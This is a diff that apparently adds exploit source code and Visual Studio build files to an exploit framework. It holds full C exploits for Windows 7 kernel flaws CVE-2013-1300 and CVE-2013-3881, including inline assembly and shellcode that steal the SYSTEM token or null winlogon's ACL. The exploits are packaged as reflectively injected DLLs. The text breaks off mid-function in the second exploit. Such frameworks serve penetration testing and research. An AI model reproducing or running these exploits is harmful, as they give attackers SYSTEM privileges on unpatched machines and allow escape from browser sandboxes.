WIN32;_DEBUG;_WINDOWS;_USRDLL;nvidia_nvsvcessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + MachineX86 + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;nvidia_nvsvcessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\nvidia_nvsvc.map + Windows + + + + + false + + + $(OutDir)\nvidia_nvsvc.lib + MachineX86 + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2013-0109\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2013-0109\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2013-0109\" + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters new file mode 100755 index 0000000000..1874b42275 --- /dev/null +++ b/external/source/exploits/cve-2013-0109/nvidia_nvsvc/nvidia_nvsvc.vcxproj.filters @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-1300/cve-2013-1300.sln b/external/source/exploits/cve-2013-1300/cve-2013-1300.sln new file mode 100755 index 0000000000..c1eb1c9cdc --- /dev/null +++ b/external/source/exploits/cve-2013-1300/cve-2013-1300.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "schlamperei", "schlamperei\schlamperei.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.ActiveCfg = Debug|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.Build.0 = Debug|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.ActiveCfg = Release|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-1300/make.msbuild b/external/source/exploits/cve-2013-1300/make.msbuild new file mode 100644 index 0000000000..c18153ec01 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/make.msbuild @@ -0,0 +1,17 @@ + + + + .\cve-2013-1300.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c new file mode 100755 index 0000000000..c7fea10a62 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c @@ -0,0 +1,291 @@ +/*! + * @file dllmain.cpp + * @brief Exploit for CVE-2013-1300 aka ms13-053 + * @detail Tested on Windows 7 32-bit. + * Used in pwn2own 2013 to break out of chrome's sandbox. + * Found and exploited by nils and jon of @mwrlabs. + */ + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define MAX_PAGE 4096 + +#define TABLE_BASE 0xff910000 + +#define EXPLOIT_MSG WM_GETTEXT + +// global variables FTW +HWND gHwnd = 0x0; +unsigned int gEPROCESS = 0x0; +unsigned gPid = 0x0; + +typedef struct _HANDLEENTRY { + VOID *phead; + VOID *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +DWORD gethandleaddress(HANDLE h) { + HMODULE mod = GetModuleHandleA("user32.dll"); + DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo"); + PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1]; + DWORD index = (DWORD)h&0x3ff; + HANDLEENTRY entry = handles[index]; + return (DWORD)entry.phead; +} + +DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { + WORD um=0; + __asm { + mov ax, cs + mov um, ax + } + if(um == 0x1b) { + + } else { + // KERNEL MODE CODE EXECUTION + // shellcode to change ACL of winlogon.exe to 0x0 + __asm { + mov eax, hwnd // WND + mov eax, [eax+8] // THREADINFO + mov eax, [eax] // ETHREAD + mov eax, [eax+0x150] // KPROCESS + mov eax, [eax+0xb8] // flink + procloop: + lea edx, [eax-0xb8] // KPROCESS + mov eax, [eax] + add edx, 0x16c // module name + cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe + jne procloop + sub edx, 0x170 + mov dword ptr [edx], 0x0 // null acl + mov eax, [edx + 0xb8] // write winlogon pid to global var + mov gPid, eax + } + return 0x201000; + } + return DefWindowProcW(hwnd,msg,wparam,lparam); +} + +HWND createhelperwnd() { + WNDCLASSA wndclass; + HANDLE hinst = GetModuleHandleA(0); + DWORD rc = 0; + + wndclass.style = 0x4000; + wndclass.lpfnWndProc = (WNDPROC)kernelwndproc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = (HINSTANCE)hinst; + wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); + wndclass.hCursor = 0; + wndclass.hbrBackground = (HBRUSH)6; + wndclass.lpszMenuName = 0; + wndclass.lpszClassName = (LPCSTR) 0x1338; + rc=RegisterClassA(&wndclass); + HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst); + + return windowhandle; +} + +typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle, + PVOID *baseAddress, + ULONG_PTR zeroBits, + PSIZE_T regionSize, + ULONG allocationType, + ULONG protect); + +BOOL AllocFakeEProcess(DWORD address) { + unsigned int addr = 0x200000; + DWORD allocsize = 0x4000; + int x=0; + + NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0; + pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress( + GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); + + + unsigned o = (0x20 / 4); // the offset into the page + NTSTATUS res = 0x0; + + for(x=0; x<0x60; x++) { + res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40); + if(res == 0x0) { + + break; + } + + addr += 0x10000; + } + if(res!=0) return FALSE; + memset((void*)addr, 0xab, 0x4000); + UINT *eprocess = (UINT*)addr+o; + UINT *before = (UINT*)addr; + // large enough values to hold reference + before[2] = 0x00080000; + before[3] = 0x400000; + UINT *second = (UINT*)addr + (0x1000/4); + for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x); + + eprocess[0] = 0x03030303; // least significant byte == 0x3 + + // Pointer to EPROCESS_QUOTA_BLOCK + // Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure + eprocess[0xd4/4] = address; + + gEPROCESS = (unsigned int)eprocess; + //for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x); + //second[0x20] = 0x2; + //second[0x30] = 0x1; + return TRUE; +} + +DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { + if(msg == EXPLOIT_MSG) { + // triggering the exploit through WM_GETTEXT + // printf("[-] WM_GETTEXT message\n"); + unsigned char payload[] = "ABCDE "; + payload[7] = (gEPROCESS>>16) & 0xff; + memcpy((void *) lparam, (void *)payload, 8); + return 8; + } + return DefWindowProcA(hwnd, msg, wparam, lparam); +} + +DWORD windowthreadproc(LPVOID arg) { + WNDCLASSA wndclass; + HANDLE hinst = GetModuleHandleA(0); + DWORD rc = 0; + MSG msg; + + wndclass.style = 0x4000; + wndclass.lpfnWndProc = (WNDPROC)wndproc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = (HINSTANCE)hinst; + wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107); + wndclass.hCursor = 0; + wndclass.hbrBackground = (HBRUSH)6; + wndclass.lpszMenuName = 0; + wndclass.lpszClassName = (LPCSTR) 0x1337; + rc=RegisterClassA(&wndclass); + + HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst); + + gHwnd = windowhandle; + + while(1) { + GetMessageA(&msg, 0x0, 0x0, 0x0); + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + + return 0; +} + +DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) { + __asm { + push ansi + push fnid + push result + push lparam + push wparam + push msg + push hwnd + push 0xdeadbeef + mov eax, 11eah + mov edx, 7ffe0300h + call [edx] + add esp, 20h + } +} + +typedef struct _CLIENT_ID +{ + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef long (*_RtlCreateUserThread)(HANDLE, + PSECURITY_DESCRIPTOR, + BOOLEAN,ULONG, + PULONG,PULONG, + PVOID,PVOID, + PHANDLE,PCLIENT_ID); + +_RtlCreateUserThread RtlCreateUserThread; + +int Schlamperei() +{ + // Create window which will execute the wndproc in kernel mode + HWND wnd = createhelperwnd(); + + // Retrieve memory address of window using gSharedInfo + DWORD addressofwnd = gethandleaddress(wnd); + + HMODULE ntdll=LoadLibraryA("ntdll.dll"); + RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread"); + + // Allocate fake EPROCESS in user mode + // see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt + if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) { + return 0; + } + + // Create window in new thread to trigger inter thread message sending + HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0); + + Sleep(0x1000); + + // 0x9 is size of allocation, results in buffer (8 + 4) = 12 + // 8 byte block allocations = 16 bytes + // so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer + unsigned char *buf = (unsigned char *)malloc(16); + for(int i=0; i<0x40; i++) { + NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10); + } + + SendMessage(wnd, 0x401, addressofwnd, 0x0); + + ExitProcess(0); +} + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + Schlamperei(); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; + + diff --git a/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.vcxproj b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.vcxproj new file mode 100755 index 0000000000..2a78c73931 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/schlamperei/schlamperei.vcxproj @@ -0,0 +1,111 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {C093C490-61BF-433E-AEB4-80753B20DEC7} + Win32Proj + schlamperei + + + + DynamicLibrary + true + Unicode + v120 + + + DynamicLibrary + false + true + Unicode + v120 + + + + + + + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + false + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + false + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\cve-2013-1300\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\cve-2013-1300\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\cve-2013-1300\" + + + + + false + NotUsing + false + NotUsing + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-3660/.gitignore b/external/source/exploits/cve-2013-3660/.gitignore new file mode 100644 index 0000000000..c93d5cfc27 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/.gitignore @@ -0,0 +1,152 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store + diff --git a/external/source/exploits/cve-2013-3881/.gitignore b/external/source/exploits/cve-2013-3881/.gitignore new file mode 100644 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2013-3881/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881.sln b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln new file mode 100755 index 0000000000..8887a82024 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c new file mode 100755 index 0000000000..9389277e09 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c @@ -0,0 +1,261 @@ +/* + * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability + * Date: February 5, 2014 + * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame + * Exploit Author: Spencer McIntyre + * Version: Windows 7 SP0/SP1 + * Tested on: Windows 7 SP0/SP1 + * CVE-2013-3881 MS13-081 + * References: + * http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html + * http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html + * http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html + */ + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +// Purloined from ntstatus.h +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS + +#ifndef _NTDEF_ +typedef __success(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#define TABLE_BASE 0xff910000 + +static const char* window_class_name = "PWN_CLASS"; +static HWND window0 = NULL; +static HWND window1 = NULL; +static HDESK desktop = NULL; + +const unsigned char shellcode[] = + "\x33\xc0" // xor eax, eax + "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124] + "\x8b\x40\x50" // mov eax, ds:[eax+0x50] + "\x8b\xc8" // mov ecx, eax + /* LOOPTHROUGHPROCESSES */ + "\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8] + "\x2d\xb8\x00\x00\x00" // sub eax, 0xb8 + "\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4 + "\x75\xec" // jnz short LOOPTHROUGHPROCESSES + "\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8] + "\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx + /* Epilog Part 1: Uncorrupt HANDLEENTRY */ + "\xbe\x00\x08\x00\x00" // mov esi, 0x0800 + "\x8b\x3e" // mov edi, [esi] + "\x8b\x46\x04" // mov eax, [esi+4] + "\x89\x07" // mov [edi], eax + "\x8b\x46\x08" // mov eax, [esi+8] + "\x89\x47\x04" // mov [edi + 4], eax + "\x8b\x46\x0c" // mov eax, [esi+c] + "\x89\x47\x08" // mov [edi+8], eax + /* Epilog Part 2: Return to xxxTrackPopupMenuEx */ + "\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0 + "\x74\x11" // je short sp1 + "\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1 + "\x75\x0a" // je short sp1 + /* Service Pack 0 */ + "\x83\xc4\x48" // add esp, 0x48 + "\x5f" // pop edi + "\x5e" // pop esi + "\x5b" // pop ebx + "\x5d" // pop ebp + "\xc2\x04\x00" // ret 4 + /* Service Pack 1 */ + "\x83\xc4\x4c" // add esp 0x4c + "\x5f" // pop edi + "\x5e" // pop esi + "\x83\xc4\x0c" // add esp, 0x0c + "\x5d" // pop ebp + "\xc2\x08\x00"; // ret 8 + +typedef struct _HANDLEENTRY { + struct _HEAD *pHead; + void *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID *BaseAddress, + IN PULONG ZeroBits, + IN PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect +); + +typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)( + IN DWORD ProfileSource, + OUT PULONG Interval +); + +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + return DefWindowProc(hwnd, msg, wParam, lParam); +} + +NTSTATUS AllocateNullPage(void) { + HMODULE hNtdll = NULL; + FARPROC pNtAllocateVirtualMemory = NULL; + DWORD base_address = 1; + SIZE_T region_size = 0x1000; + ULONG zero_bits = 0; + HANDLE current_process = NULL; + NTSTATUS status = 0; + + hNtdll = LoadLibraryA("ntdll"); + pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); + current_process = GetCurrentProcess(); + status = pNtAllocateVirtualMemory(current_process, &base_address, 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE); + FreeLibrary(hNtdll); + return status; +} + +PHANDLEENTRY GetAheList(void) { + HMODULE hUser32 = NULL; + HANDLEENTRY **tagSharedInfo = NULL; + + hUser32 = LoadLibraryA("user32"); + tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo"); + if (tagSharedInfo == NULL) { + return NULL; + } + return (PHANDLEENTRY)*&tagSharedInfo[1]; +} + +DWORD WINAPI TriggerThread0(void *garbage) { + HMENU menu0; + + SetThreadDesktop(desktop); + window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu0 = CreatePopupMenu(); + if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return 0; + } + TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL); + return 0; +} + +BOOL WINAPI CreateAndRegisterClass(char * class_name) { + WNDCLASSEX wx; + HINSTANCE hInstance = NULL; + + hInstance = (HINSTANCE)GetModuleHandle(NULL); + if (hInstance == NULL) { + return FALSE; + } + + wx.cbSize = sizeof(WNDCLASSEX); + wx.style = 0; + wx.lpfnWndProc = WndProc; + wx.cbClsExtra = 0; + wx.cbWndExtra = 0; + wx.hInstance = hInstance; + wx.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wx.hCursor = LoadCursor(NULL, IDC_ARROW); + wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); + wx.lpszMenuName = NULL; + wx.lpszClassName = class_name; + wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + + if (RegisterClassEx(&wx) != 0) { + return TRUE; + } + return FALSE; +} + +DWORD WINAPI ExecutePayload(LPVOID lpPayload) { + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +void Win32kNullPage(LPVOID lpPayload) { + HMENU menu1 = NULL; + HMENU menu2 = NULL; + HANDLE gdi_handle = NULL; + void *promise_land = NULL; + ULONG interval = 0; + PHANDLEENTRY aheList = NULL; + PHANDLEENTRY target_handle = NULL; + DWORD saved_bytes = 0; + + desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); + SetThreadDesktop(desktop); + + if (!CreateAndRegisterClass(window_class_name)) { + return; + } + + if (AllocateNullPage() != STATUS_SUCCESS) { + return; + } + *((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */ + *((PDWORD)promise_land + 1) = 0x90909090; /* noooop */ + *((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */ + *((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */ + *((PDWORD)promise_land + 7) = 0x00; + *((PDWORD)promise_land + 9) = 0x00; + *((PDWORD)promise_land + 12) = 0x00; + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4); + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4); + memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode)); + + window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu1 = CreatePopupMenu(); + menu2 = CreateMenu(); + SetMenu(window1, menu2); + DestroyMenu(menu2); + + aheList = GetAheList(); + *((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff); + *((PDWORD)promise_land + 128) = 0x01; + *((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104; + + target_handle = &aheList[((DWORD)menu2 & 0xffff)]; + *((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE); + memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY)); + + if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return; + } + + do { + gdi_handle = CreateMetaFile(NULL); + } while (gdi_handle != NULL); + + CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0); + Sleep(500); + 